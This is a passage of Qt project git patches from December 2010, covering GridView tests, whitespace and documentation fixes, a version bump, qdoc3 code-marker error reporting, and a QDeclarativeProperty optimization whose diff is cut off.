gridview->positionViewAtIndex(30, QDeclarativeGridView::Visible); + QTRY_COMPARE(gridview->contentX(), 320.); + + gridview->setContentX(170); + gridview->positionViewAtIndex(25, QDeclarativeGridView::Contain); + QTRY_COMPARE(gridview->contentX(), 240.); + + delete canvas; +} + +void tst_QDeclarativeGridView::snapping() +{ + QDeclarativeView *canvas = createView(); + + TestModel model; + for (int i = 0; i < 40; i++) + model.addItem("Item" + QString::number(i), ""); + + QDeclarativeContext *ctxt = canvas->rootContext(); + ctxt->setContextProperty("testModel", &model); + ctxt->setContextProperty("testTopToBottom", QVariant(false)); + + canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/gridview1.qml")); + qApp->processEvents(); + + QDeclarativeGridView *gridview = findItem(canvas->rootObject(), "grid"); + QTRY_VERIFY(gridview != 0); + + gridview->setHeight(220); + QCOMPARE(gridview->height(), 220.); + + gridview->positionViewAtIndex(12, QDeclarativeGridView::Visible); + QCOMPARE(gridview->contentY(), 80.); + + gridview->setContentY(0); + QCOMPARE(gridview->contentY(), 0.); + + gridview->setSnapMode(QDeclarativeGridView::SnapToRow); + QCOMPARE(gridview->snapMode(), QDeclarativeGridView::SnapToRow); + + gridview->positionViewAtIndex(12, QDeclarativeGridView::Visible); + QCOMPARE(gridview->contentY(), 60.); + + gridview->positionViewAtIndex(15, QDeclarativeGridView::End); + QCOMPARE(gridview->contentY(), 120.); + delete canvas; } @@ -1231,6 +1314,15 @@ void tst_QDeclarativeGridView::manualHighlight() QTRY_COMPARE(gridview->currentItem(), findItem(contentItem, "wrapper", 2)); QTRY_COMPARE(gridview->highlightItem()->y() - 5, gridview->currentItem()->y()); QTRY_COMPARE(gridview->highlightItem()->x() - 5, gridview->currentItem()->x()); + + gridview->setFlow(QDeclarativeGridView::TopToBottom); + QTRY_COMPARE(gridview->flow(), QDeclarativeGridView::TopToBottom); + + gridview->setCurrentIndex(0); + QTRY_COMPARE(gridview->currentIndex(), 0); + QTRY_COMPARE(gridview->currentItem(), findItem(contentItem, "wrapper", 0)); + QTRY_COMPARE(gridview->highlightItem()->y() - 5, gridview->currentItem()->y()); + QTRY_COMPARE(gridview->highlightItem()->x() - 5, gridview->currentItem()->x()); } void tst_QDeclarativeGridView::footer() -- cgit v0.12 From 111e306c9991a0d89b0001b476e466891974945f Mon Sep 17 00:00:00 2001 From: Kai Koehne Date: Tue, 21 Dec 2010 09:12:58 +0100 Subject: QDeclarativeDebug: Remove unused file Got added in 5336e1838a95d97. --- src/declarative/debugger/debugger.pri | 1 - src/declarative/debugger/qdeclarativedebugserverplugin_p.h | 0 2 files changed, 1 deletion(-) delete mode 100644 src/declarative/debugger/qdeclarativedebugserverplugin_p.h diff --git a/src/declarative/debugger/debugger.pri b/src/declarative/debugger/debugger.pri index 9152677..75287b4 100644 --- a/src/declarative/debugger/debugger.pri +++ b/src/declarative/debugger/debugger.pri @@ -19,6 +19,5 @@ HEADERS += \ $$PWD/qdeclarativedebug_p.h \ $$PWD/qdeclarativedebugtrace_p.h \ $$PWD/qdeclarativedebughelper_p.h \ - $$PWD/qdeclarativedebugserverplugin_p.h \ $$PWD/qdeclarativedebugserver_p.h \ debugger/qdeclarativedebugserverconnection_p.h diff --git a/src/declarative/debugger/qdeclarativedebugserverplugin_p.h b/src/declarative/debugger/qdeclarativedebugserverplugin_p.h deleted file mode 100644 index e69de29..0000000 -- cgit v0.12 From b22ff71d8f8fa03260d5ad0eef67184a047685e7 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Tue, 21 Dec 2010 15:04:04 +0100 Subject: Doc: Fixed whitespace. --- doc/src/template/style/narrow.css | 14 ++++++------ doc/src/template/style/superfish.css | 44 ++++++++++++++++++------------------ 2 files changed, 29 insertions(+), 29 deletions(-) diff --git a/doc/src/template/style/narrow.css b/doc/src/template/style/narrow.css index fbb0752..39b4740 100644 --- a/doc/src/template/style/narrow.css +++ b/doc/src/template/style/narrow.css @@ -135,7 +135,7 @@ .creator .wrap { margin: 0px; - background:#FFFFFF; + background:#FFFFFF; } .narrow .wrap .toolbar { @@ -170,7 +170,7 @@ .narrow .wrap .breadcrumb ul li.last a { color: #363534; } - + #narrowsearch { display: none; } @@ -213,7 +213,7 @@ width: 64%; padding-left: 0; } - + .narrow .indexboxcont .sectionlist { width: 32.5%; } @@ -253,7 +253,7 @@ #narrowmenu li, #narrowmenu li ul { background-color: #fff; - margin-top:-1px; + margin-top:-1px; } #narrowmenu li ul { @@ -266,6 +266,6 @@ } /* end narrow mode */ - .creator #narrowsearch, .creator #narrowmenu{ - display:none; - } + .creator #narrowsearch, .creator #narrowmenu{ + display:none; + } diff --git a/doc/src/template/style/superfish.css b/doc/src/template/style/superfish.css index 0cf0f7d..2bdaef4 100644 --- a/doc/src/template/style/superfish.css +++ b/doc/src/template/style/superfish.css @@ -1,51 +1,51 @@ .sf-menu, .sf-menu * { - margin: 0; - padding: 0; - list-style: none; + margin: 0; + padding: 0; + list-style: none; } .sf-menu { - line-height: 1.0; + line-height: 1.0; } .sf-menu ul { - position: absolute; - top: -999em; - width: 10em; /* left offset of submenus need to match (see below) */ + position: absolute; + top: -999em; + width: 10em; /* left offset of submenus need to match (see below) */ } .sf-menu ul li { - width: 100%; + width: 100%; } .sf-menu li:hover { - visibility: inherit; /* fixes IE7 'sticky bug' */ + visibility: inherit; /* fixes IE7 'sticky bug' */ } .sf-menu li { - float: left; - position: relative; + float: left; + position: relative; } .sf-menu a { - display: block; - position: relative; + display: block; + position: relative; } .sf-menu li:hover ul, .sf-menu li.sfHover ul { - left: 0; - top: 2.5em; /* match top ul list item height */ - z-index: 99; + left: 0; + top: 2.5em; /* match top ul list item height */ + z-index: 99; } ul.sf-menu li:hover li ul, ul.sf-menu li.sfHover li ul { - top: -999em; + top: -999em; } ul.sf-menu li li:hover ul, ul.sf-menu li li.sfHover ul { - left: 10em; /* match ul width */ - top: 0; + left: 10em; /* match ul width */ + top: 0; } ul.sf-menu li li:hover li ul, ul.sf-menu li li.sfHover li ul { - top: -999em; + top: -999em; } ul.sf-menu li li li:hover ul, ul.sf-menu li li li.sfHover ul { - left: 10em; /* match ul width */ - top: 0; + left: 10em; /* match ul width */ + top: 0; } -- cgit v0.12 From ae0f24513158ea48b21ba3e6676c5fb8a786a73e Mon Sep 17 00:00:00 2001 From: David Boddie Date: Tue, 21 Dec 2010 15:07:16 +0100 Subject: Doc: Fixed whitespace. --- tools/qdoc3/test/compat.qdocconf | 8 ++++---- tools/qdoc3/test/qt-cpp-ignore.qdocconf | 10 +++++----- tools/qdoc3/test/qt-defines.qdocconf | 4 ++-- 3 files changed, 11 insertions(+), 11 deletions(-) diff --git a/tools/qdoc3/test/compat.qdocconf b/tools/qdoc3/test/compat.qdocconf index 5745ed9..0b59629 100644 --- a/tools/qdoc3/test/compat.qdocconf +++ b/tools/qdoc3/test/compat.qdocconf @@ -1,5 +1,5 @@ -alias.i = e -alias.include = input +alias.i = e +alias.include = input macro.0 = "\\\\0" macro.b = "\\\\b" @@ -27,5 +27,5 @@ macro.img = "\\image" macro.endquote = "\\endquotation" macro.relatesto = "\\relates" -spurious = "Missing comma in .*" \ - "Missing pattern .*" +spurious = "Missing comma in .*" \ + "Missing pattern .*" diff --git a/tools/qdoc3/test/qt-cpp-ignore.qdocconf b/tools/qdoc3/test/qt-cpp-ignore.qdocconf index 5d52a47..044eef4 100644 --- a/tools/qdoc3/test/qt-cpp-ignore.qdocconf +++ b/tools/qdoc3/test/qt-cpp-ignore.qdocconf @@ -71,8 +71,8 @@ Cpp.ignoretokens = QAXFACTORY_EXPORT \ QT_END_INCLUDE_NAMESPACE \ PHONON_EXPORT \ Q_DECLARATIVE_EXPORT \ - Q_GADGET \ - QWEBKIT_EXPORT \ + Q_GADGET \ + QWEBKIT_EXPORT \ Q_INVOKABLE Cpp.ignoredirectives = Q_DECLARE_HANDLE \ Q_DECLARE_INTERFACE \ @@ -93,6 +93,6 @@ Cpp.ignoredirectives = Q_DECLARE_HANDLE \ K_DECLARE_PRIVATE \ PHONON_OBJECT \ PHONON_HEIR \ - Q_PRIVATE_PROPERTY \ - Q_DECLARE_PRIVATE_D \ - Q_CLASSINFO + Q_PRIVATE_PROPERTY \ + Q_DECLARE_PRIVATE_D \ + Q_CLASSINFO diff --git a/tools/qdoc3/test/qt-defines.qdocconf b/tools/qdoc3/test/qt-defines.qdocconf index bf7fd08..50a355f 100644 --- a/tools/qdoc3/test/qt-defines.qdocconf +++ b/tools/qdoc3/test/qt-defines.qdocconf @@ -3,12 +3,12 @@ defines = Q_QDOC \ QT_.*_LIB \ QT_COMPAT \ QT_KEYPAD_NAVIGATION \ - QT_NO_EGL \ + QT_NO_EGL \ QT3_SUPPORT \ Q_WS_.* \ Q_OS_.* \ Q_BYTE_ORDER \ - QT_DEPRECATED \ + QT_DEPRECATED \ Q_NO_USING_KEYWORD \ __cplusplus -- cgit v0.12 From 9862f29b3c8d3f23113388b48b1c4b86523137dc Mon Sep 17 00:00:00 2001 From: David Boddie Date: Tue, 21 Dec 2010 15:07:46 +0100 Subject: Doc: Updated the Qt version number. --- tools/qdoc3/test/qt-project.qdocconf | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/tools/qdoc3/test/qt-project.qdocconf b/tools/qdoc3/test/qt-project.qdocconf index 135fbbb..ca7caa9 100644 --- a/tools/qdoc3/test/qt-project.qdocconf +++ b/tools/qdoc3/test/qt-project.qdocconf @@ -6,7 +6,7 @@ include(qt-defines.qdocconf) project = Qt description = Qt Reference Documentation url = http://qt.nokia.com/doc/4.7 -version = 4.7.1 +version = 4.7.2 sourceencoding = UTF-8 outputencoding = UTF-8 @@ -20,9 +20,9 @@ qhp.Qt.virtualFolder = qdoc qhp.Qt.indexTitle = Qt Reference Documentation qhp.Qt.indexRoot = -qhp.Qt.filterAttributes = qt 4.7.1 qtrefdoc -qhp.Qt.customFilters.Qt.name = Qt 4.7.1 -qhp.Qt.customFilters.Qt.filterAttributes = qt 4.7.1 +qhp.Qt.filterAttributes = qt 4.7.2 qtrefdoc +qhp.Qt.customFilters.Qt.name = Qt 4.7.2 +qhp.Qt.customFilters.Qt.filterAttributes = qt 4.7.2 qhp.Qt.subprojects = classes overviews examples qhp.Qt.subprojects.classes.title = Classes qhp.Qt.subprojects.classes.indexTitle = Qt's Classes -- cgit v0.12 From fa4526a79112baccf9b00adca7f360ac8588a22d Mon Sep 17 00:00:00 2001 From: David Boddie Date: Tue, 21 Dec 2010 17:35:43 +0100 Subject: Doc: Updated the HarfBuzz license information. As-requested-by: Legal --- doc/src/legal/3rdparty.qdoc | 12 +++--------- 1 file changed, 3 insertions(+), 9 deletions(-) diff --git a/doc/src/legal/3rdparty.qdoc b/doc/src/legal/3rdparty.qdoc index 9cc83a6..e2c088a 100644 --- a/doc/src/legal/3rdparty.qdoc +++ b/doc/src/legal/3rdparty.qdoc @@ -92,13 +92,8 @@ \section1 HarfBuzz (\c harfbuzz) - \e{This is HarfBuzz, an OpenType Layout engine.} - - \e{It was derived originally from the OpenType code in FreeType-1.x, ported to - FreeType2. (This code has been abandoned for FreeType2, but until something - better comes along, should serve our purposes.) In addition to porting to - FreeType-2, it has been modified in various other ways.} -- quoted from - \c src/3rdparty/harfbuzz/README. + \e{This is HarfBuzz, an OpenType Layout engine library.} + -- quoted from \c src/3rdparty/harfbuzz/README. \hr @@ -129,8 +124,7 @@ \hr - See \c src/3rdparty/harfbuzz/COPYING.FTL and src/3rdparty/harfbuzz/COPYING.GPL - for license details. + See \c src/3rdparty/harfbuzz/COPYING for license details. \section1 The Independent JPEG Group's JPEG Software (\c libjpeg) version 8 -- cgit v0.12 From 84232c88aa9b05d91016b66963d68b8096099f9c Mon Sep 17 00:00:00 2001 From: David Boddie Date: Tue, 21 Dec 2010 17:36:25 +0100 Subject: Doc: Changed a page title. --- doc/src/declarative/anchor-layout.qdoc | 2 +- doc/src/declarative/declarativeui.qdoc | 2 +- doc/src/declarative/qdeclarativereference.qdoc | 2 +- doc/src/declarative/tutorial.qdoc | 4 ++-- doc/src/getting-started/gettingstartedqml.qdoc | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/doc/src/declarative/anchor-layout.qdoc b/doc/src/declarative/anchor-layout.qdoc index f5d5697..e9f79d1 100644 --- a/doc/src/declarative/anchor-layout.qdoc +++ b/doc/src/declarative/anchor-layout.qdoc @@ -28,7 +28,7 @@ /*! \page qml-anchor-layout.html \target anchor-layout -\title Anchor-based Layout in QML +\title Anchor-Based Layout in QML \section1 Overview diff --git a/doc/src/declarative/declarativeui.qdoc b/doc/src/declarative/declarativeui.qdoc index 41b9952..e10c5c8 100644 --- a/doc/src/declarative/declarativeui.qdoc +++ b/doc/src/declarative/declarativeui.qdoc @@ -91,7 +91,7 @@ Module. \list \o \l{QML Documents} \o \l{Property Binding} -\o \l{Anchor-based Layout in QML} +\o \l{Anchor-Based Layout in QML} \o \l{Writing QML Components: Properties, Methods and Signals} \o \l{QML Scope} \o \l{QML Modules} diff --git a/doc/src/declarative/qdeclarativereference.qdoc b/doc/src/declarative/qdeclarativereference.qdoc index c2c5e91..76fcc40 100644 --- a/doc/src/declarative/qdeclarativereference.qdoc +++ b/doc/src/declarative/qdeclarativereference.qdoc @@ -64,7 +64,7 @@ \o \l {QML Scope} \o \l {Network Transparency} \o \l {qmlmodels}{Data Models} - \o \l {anchor-layout}{Anchor-based Layout} + \o \l {anchor-layout}{Anchor-Based Layout} \o \l {qmlstates}{States} \o \l {qdeclarativeanimation.html}{Animation} \o \l {qdeclarativemodules.html}{Modules} diff --git a/doc/src/declarative/tutorial.qdoc b/doc/src/declarative/tutorial.qdoc index d8139b4..a24fa85 100644 --- a/doc/src/declarative/tutorial.qdoc +++ b/doc/src/declarative/tutorial.qdoc @@ -94,7 +94,7 @@ We add a \l Text element as a child of the root Rectangle element that displays The \c y property is used to position the text vertically at 30 pixels from the top of its parent. The \c anchors.horizontalCenter property refers to the horizontal center of an element. -In this case, we specify that our text element should be horizontally centered in the \e page element (see \l{anchor-layout}{Anchor-based Layout}). +In this case, we specify that our text element should be horizontally centered in the \e page element (see \l{anchor-layout}{Anchor-Based Layout}). The \c font.pointSize and \c font.bold properties are related to fonts and use the \l{dot properties}{dot notation}. @@ -156,7 +156,7 @@ We will use this signal to change the color of the text in the main QML file lat Our cell component is basically a colored rectangle with the \c id \e rectangle. The \c anchors.fill property is a convenient way to set the size of an element. -In this case the rectangle will have the same size as its parent (see \l{anchor-layout}{Anchor-based Layout}). +In this case the rectangle will have the same size as its parent (see \l{anchor-layout}{Anchor-Based Layout}). \snippet examples/declarative/tutorials/helloworld/Cell.qml 3 diff --git a/doc/src/getting-started/gettingstartedqml.qdoc b/doc/src/getting-started/gettingstartedqml.qdoc index e3977bb..11fad03 100644 --- a/doc/src/getting-started/gettingstartedqml.qdoc +++ b/doc/src/getting-started/gettingstartedqml.qdoc @@ -133,7 +133,7 @@ the interactive area where mouse movements are detected. For our button, we anchor the whole MouseArea to its parent, which is \c simplebutton. The \c anchors.fill syntax is one way of accessing a specific property called \c fill inside a group of properties - called \c anchors. QML uses \l {Anchor-based Layout in QML}{anchor based layouts} where + called \c anchors. QML uses \l {Anchor-Based Layout in QML}{anchor-based layouts} where items can anchor to another item, creating robust layouts. The \c MouseArea has many signal handlers that are called during mouse movements within -- cgit v0.12 From ea41ba11fc848dbefecb0cde324478ab1986e555 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Tue, 21 Dec 2010 18:38:04 +0100 Subject: Enabled error reporting and a plain text fallback for invalid QML. The location of places where code is included in documentation is now passed into each code marker when highlighted code is needed. --- tools/qdoc3/codemarker.h | 2 +- tools/qdoc3/cppcodemarker.cpp | 9 +++++---- tools/qdoc3/cppcodemarker.h | 4 ++-- tools/qdoc3/doc.cpp | 6 +++--- tools/qdoc3/jscodemarker.cpp | 12 +++++++++--- tools/qdoc3/jscodemarker.h | 6 +++--- tools/qdoc3/plaincodemarker.cpp | 2 +- tools/qdoc3/plaincodemarker.h | 2 +- tools/qdoc3/qmlcodemarker.cpp | 15 +++++++++++---- tools/qdoc3/qmlcodemarker.h | 6 +++--- 10 files changed, 39 insertions(+), 25 deletions(-) diff --git a/tools/qdoc3/codemarker.h b/tools/qdoc3/codemarker.h index 029ddb9..3cf3984 100644 --- a/tools/qdoc3/codemarker.h +++ b/tools/qdoc3/codemarker.h @@ -126,7 +126,7 @@ class CodeMarker const Node *relative = 0) = 0; virtual QString markedUpCode(const QString& code, const Node *relative, - const QString& dirPath) = 0; + const Location &location) = 0; virtual QString markedUpSynopsis(const Node *node, const Node *relative, SynopsisStyle style) = 0; diff --git a/tools/qdoc3/cppcodemarker.cpp b/tools/qdoc3/cppcodemarker.cpp index 55a455f..8ea1c7f 100644 --- a/tools/qdoc3/cppcodemarker.cpp +++ b/tools/qdoc3/cppcodemarker.cpp @@ -157,9 +157,9 @@ QString CppCodeMarker::plainFullName(const Node *node, const Node *relative) QString CppCodeMarker::markedUpCode(const QString &code, const Node *relative, - const QString &dirPath) + const Location &location) { - return addMarkUp(protect(code), relative, dirPath); + return addMarkUp(protect(code), relative, location); } QString CppCodeMarker::markedUpSynopsis(const Node *node, @@ -440,7 +440,8 @@ QString CppCodeMarker::markedUpIncludes(const QStringList& includes) code += "#include <<@headerfile>" + *inc + ">\n"; ++inc; } - return addMarkUp(code, 0, ""); + Location location; + return addMarkUp(code, 0, location); } QString CppCodeMarker::functionBeginRegExp(const QString& funcName) @@ -868,7 +869,7 @@ const Node *CppCodeMarker::resolveTarget(const QString& target, QString CppCodeMarker::addMarkUp(const QString& protectedCode, const Node * /* relative */, - const QString& /* dirPath */) + const Location & /* location */) { static QRegExp globalInclude("#include +<([^<>&]+)>"); static QRegExp yHasTypeX("(?:^|\n *)([a-zA-Z_][a-zA-Z_0-9]*)" diff --git a/tools/qdoc3/cppcodemarker.h b/tools/qdoc3/cppcodemarker.h index 40695c5..bb307f9 100644 --- a/tools/qdoc3/cppcodemarker.h +++ b/tools/qdoc3/cppcodemarker.h @@ -63,7 +63,7 @@ class CppCodeMarker : public CodeMarker virtual QString plainFullName(const Node *node, const Node *relative); virtual QString markedUpCode(const QString& code, const Node *relative, - const QString& dirPath); + const Location &location); virtual QString markedUpSynopsis(const Node *node, const Node *relative, SynopsisStyle style); @@ -90,7 +90,7 @@ class CppCodeMarker : public CodeMarker private: QString addMarkUp(const QString& protectedCode, const Node *relative, - const QString& dirPath); + const Location &location); }; QT_END_NAMESPACE diff --git a/tools/qdoc3/doc.cpp b/tools/qdoc3/doc.cpp index ce9e30d..774f8ba 100644 --- a/tools/qdoc3/doc.cpp +++ b/tools/qdoc3/doc.cpp @@ -536,7 +536,7 @@ void DocParser::parse(const QString& source, enterPara(); x = untabifyEtc(getArgument(true)); marker = CodeMarker::markerForCode(x); - append(Atom::C, marker->markedUpCode(x, 0, "")); + append(Atom::C, marker->markedUpCode(x, 0, location())); break; case CMD_CAPTION: leavePara(); @@ -2305,7 +2305,7 @@ QString DocParser::getCode(int cmd, CodeMarker *marker) code = unindent(minIndent, code); if (!marker) marker = CodeMarker::markerForCode(code); - return marker->markedUpCode(code, 0, ""); + return marker->markedUpCode(code, 0, location()); } /*! @@ -3043,7 +3043,7 @@ CodeMarker *Doc::quoteFromFile(const Location &location, CodeMarker *marker = CodeMarker::markerForFileName(fileName); quoter.quoteFromFile(userFriendlyFilePath, code, - marker->markedUpCode(code, 0, dirPath)); + marker->markedUpCode(code, 0, location)); return marker; } diff --git a/tools/qdoc3/jscodemarker.cpp b/tools/qdoc3/jscodemarker.cpp index 84a28c6..80df0aa 100644 --- a/tools/qdoc3/jscodemarker.cpp +++ b/tools/qdoc3/jscodemarker.cpp @@ -103,14 +103,14 @@ bool JsCodeMarker::recognizeLanguage(const QString &language) QString JsCodeMarker::markedUpCode(const QString &code, const Node *relative, - const QString &dirPath) + const Location &location) { - return addMarkUp(code, relative, dirPath); + return addMarkUp(code, relative, location); } QString JsCodeMarker::addMarkUp(const QString &code, const Node * /* relative */, - const QString & /* dirPath */) + const Location &location) { QDeclarativeJS::Engine engine; QDeclarativeJS::Lexer lexer(&engine); @@ -130,7 +130,13 @@ QString JsCodeMarker::addMarkUp(const QString &code, QmlMarkupVisitor visitor(code, pragmas, &engine); QDeclarativeJS::AST::Node::accept(ast, &visitor); output = visitor.markedUpCode(); + } else { + location.warning(tr("Unable to parse JavaScript: \"%1\" at line %2, column %3").arg( + parser.errorMessage()).arg(parser.errorLineNumber()).arg( + parser.errorColumnNumber())); + output = protect(code); } + return output; } diff --git a/tools/qdoc3/jscodemarker.h b/tools/qdoc3/jscodemarker.h index f7cb025..6d85063 100644 --- a/tools/qdoc3/jscodemarker.h +++ b/tools/qdoc3/jscodemarker.h @@ -62,11 +62,11 @@ public: virtual QString markedUpCode(const QString &code, const Node *relative, - const QString &dirPath); + const Location &location); private: - QString addMarkUp(const QString &code, const Node * /* relative */, - const QString & /* dirPath */); + QString addMarkUp(const QString &code, const Node *relative, + const Location &location); }; QT_END_NAMESPACE diff --git a/tools/qdoc3/plaincodemarker.cpp b/tools/qdoc3/plaincodemarker.cpp index d825c13..9819593 100644 --- a/tools/qdoc3/plaincodemarker.cpp +++ b/tools/qdoc3/plaincodemarker.cpp @@ -78,7 +78,7 @@ QString PlainCodeMarker::plainFullName(const Node * /* node */, const Node * /* QString PlainCodeMarker::markedUpCode( const QString& code, const Node * /* relative */, - const QString& /* dirPath */ ) + const Location & /* location */ ) { return protect( code ); } diff --git a/tools/qdoc3/plaincodemarker.h b/tools/qdoc3/plaincodemarker.h index 7afb88e..1c469a0 100644 --- a/tools/qdoc3/plaincodemarker.h +++ b/tools/qdoc3/plaincodemarker.h @@ -61,7 +61,7 @@ public: bool recognizeLanguage( const QString& lang ); QString plainName( const Node *node ); QString plainFullName( const Node *node, const Node *relative ); - QString markedUpCode( const QString& code, const Node *relative, const QString& dirPath ); + QString markedUpCode( const QString& code, const Node *relative, const Location &location ); QString markedUpSynopsis( const Node *node, const Node *relative, SynopsisStyle style ); QString markedUpName( const Node *node ); diff --git a/tools/qdoc3/qmlcodemarker.cpp b/tools/qdoc3/qmlcodemarker.cpp index 1e4ad1e..fc91cbb 100644 --- a/tools/qdoc3/qmlcodemarker.cpp +++ b/tools/qdoc3/qmlcodemarker.cpp @@ -134,9 +134,9 @@ QString QmlCodeMarker::plainFullName(const Node *node, const Node *relative) QString QmlCodeMarker::markedUpCode(const QString &code, const Node *relative, - const QString &dirPath) + const Location &location) { - return addMarkUp(code, relative, dirPath); + return addMarkUp(code, relative, location); } QString QmlCodeMarker::markedUpName(const Node *node) @@ -174,7 +174,8 @@ QString QmlCodeMarker::markedUpIncludes(const QStringList& includes) code += "import " + *inc + "\n"; ++inc; } - return protect(addMarkUp(code, 0, "")); + Location location; + return protect(addMarkUp(code, 0, location)); } QString QmlCodeMarker::functionBeginRegExp(const QString& funcName) @@ -190,7 +191,7 @@ QString QmlCodeMarker::functionEndRegExp(const QString& /* funcName */) QString QmlCodeMarker::addMarkUp(const QString &code, const Node * /* relative */, - const QString & /* dirPath */) + const Location &location) { QDeclarativeJS::Engine engine; QDeclarativeJS::Lexer lexer(&engine); @@ -210,7 +211,13 @@ QString QmlCodeMarker::addMarkUp(const QString &code, QmlMarkupVisitor visitor(code, pragmas, &engine); QDeclarativeJS::AST::Node::accept(ast, &visitor); output = visitor.markedUpCode(); + } else { + location.warning(tr("Unable to parse QML: \"%1\" at line %2, column %3").arg( + parser.errorMessage()).arg(parser.errorLineNumber()).arg( + parser.errorColumnNumber())); + output = protect(code); } + return output; } diff --git a/tools/qdoc3/qmlcodemarker.h b/tools/qdoc3/qmlcodemarker.h index 68e6753..b1d365c 100644 --- a/tools/qdoc3/qmlcodemarker.h +++ b/tools/qdoc3/qmlcodemarker.h @@ -64,7 +64,7 @@ public: virtual QString plainFullName(const Node *node, const Node *relative); virtual QString markedUpCode(const QString &code, const Node *relative, - const QString &dirPath); + const Location &location); virtual QString markedUpName(const Node *node); virtual QString markedUpFullName(const Node *node, const Node *relative); @@ -76,8 +76,8 @@ public: QList extractPragmas(QString &script); private: - QString addMarkUp(const QString &code, const Node * /* relative */, - const QString & /* dirPath */); + QString addMarkUp(const QString &code, const Node *relative, + const Location &location); }; QT_END_NAMESPACE -- cgit v0.12 From 2143a50d274d36e4fe779de2c732c66f47496ace Mon Sep 17 00:00:00 2001 From: David Boddie Date: Tue, 21 Dec 2010 20:21:47 +0100 Subject: Doc: Fixed QML syntax in quoted code snippets. --- doc/src/declarative/extending.qdoc | 2 +- .../declarative/states/statechangescript.qml | 61 ++++++++++++++++++++++ src/declarative/util/qdeclarativeconnections.cpp | 8 +-- .../util/qdeclarativestateoperations.cpp | 20 +------ 4 files changed, 67 insertions(+), 24 deletions(-) create mode 100644 doc/src/snippets/declarative/states/statechangescript.qml diff --git a/doc/src/declarative/extending.qdoc b/doc/src/declarative/extending.qdoc index 748ec6c..c34dc13 100644 --- a/doc/src/declarative/extending.qdoc +++ b/doc/src/declarative/extending.qdoc @@ -823,7 +823,7 @@ If the \l{Item::children}{children} property was not the default property for \qml Item { children: [ - Rectangle {} + Rectangle {}, Rectangle {} ] } diff --git a/doc/src/snippets/declarative/states/statechangescript.qml b/doc/src/snippets/declarative/states/statechangescript.qml new file mode 100644 index 0000000..b885137 --- /dev/null +++ b/doc/src/snippets/declarative/states/statechangescript.qml @@ -0,0 +1,61 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** $QT_END_LICENSE$ +** +****************************************************************************/ + +Item { +//! [state and transition] +State { + name: "state1" + StateChangeScript { + name: "myScript" + script: doStateStuff(); + } + // ... +} +// ... +Transition { + to: "state1" + SequentialAnimation { + NumberAnimation { /* ... */ } + ScriptAction { scriptName: "myScript" } + NumberAnimation { /* ... */ } + } +} +//! [state and transition] +} diff --git a/src/declarative/util/qdeclarativeconnections.cpp b/src/declarative/util/qdeclarativeconnections.cpp index 15e5ac5..8b3a9da 100644 --- a/src/declarative/util/qdeclarativeconnections.cpp +++ b/src/declarative/util/qdeclarativeconnections.cpp @@ -82,7 +82,7 @@ public: \qml MouseArea { - onClicked: { foo(...) } + onClicked: { foo(parameters) } } \endqml @@ -103,7 +103,7 @@ public: \qml MouseArea { Connections { - onClicked: foo(...) + onClicked: foo(parameters) } } \endqml @@ -115,10 +115,10 @@ public: MouseArea { id: area } - ... + // ... Connections { target: area - onClicked: foo(...) + onClicked: foo(parameters) } \endqml diff --git a/src/declarative/util/qdeclarativestateoperations.cpp b/src/declarative/util/qdeclarativestateoperations.cpp index d1d7822..1df9013 100644 --- a/src/declarative/util/qdeclarativestateoperations.cpp +++ b/src/declarative/util/qdeclarativestateoperations.cpp @@ -599,25 +599,7 @@ public: ScriptAction to specify the point in the transition at which the StateChangeScript should to be run. - \qml - State { - name "state1" - StateChangeScript { - name: "myScript" - script: doStateStuff(); - } - ... - } - ... - Transition { - to: "state1" - SequentialAnimation { - NumberAnimation { ... } - ScriptAction { scriptName: "myScript" } - NumberAnimation { ... } - } - } - \endqml + \snippet snippets/declarative/states/statechangescript.qml state and transition \sa ScriptAction */ -- cgit v0.12 From 042e797a21a88ccafbaf54bbcfbf1e8d75b33740 Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Wed, 22 Dec 2010 10:29:43 +1000 Subject: Optimization: make QDeclarativePropertyPrivate shared. Task-number: QTBUG-15331 Reviewed-by: Aaron Kennedy --- src/declarative/qml/qdeclarativeproperty.cpp | 98 +++++++++++++++++----------- src/declarative/qml/qdeclarativeproperty_p.h | 13 +--- 2 files changed, 64 insertions(+), 47 deletions(-) diff --git a/src/declarative/qml/qdeclarativeproperty.cpp b/src/declarative/qml/qdeclarativeproperty.cpp index 8eaa98b..d7cf6cc 100644 --- a/src/declarative/qml/qdeclarativeproperty.cpp +++ b/src/declarative/qml/qdeclarativeproperty.cpp @@ -106,15 +106,16 @@ qWarning() << "Pixel size should now be 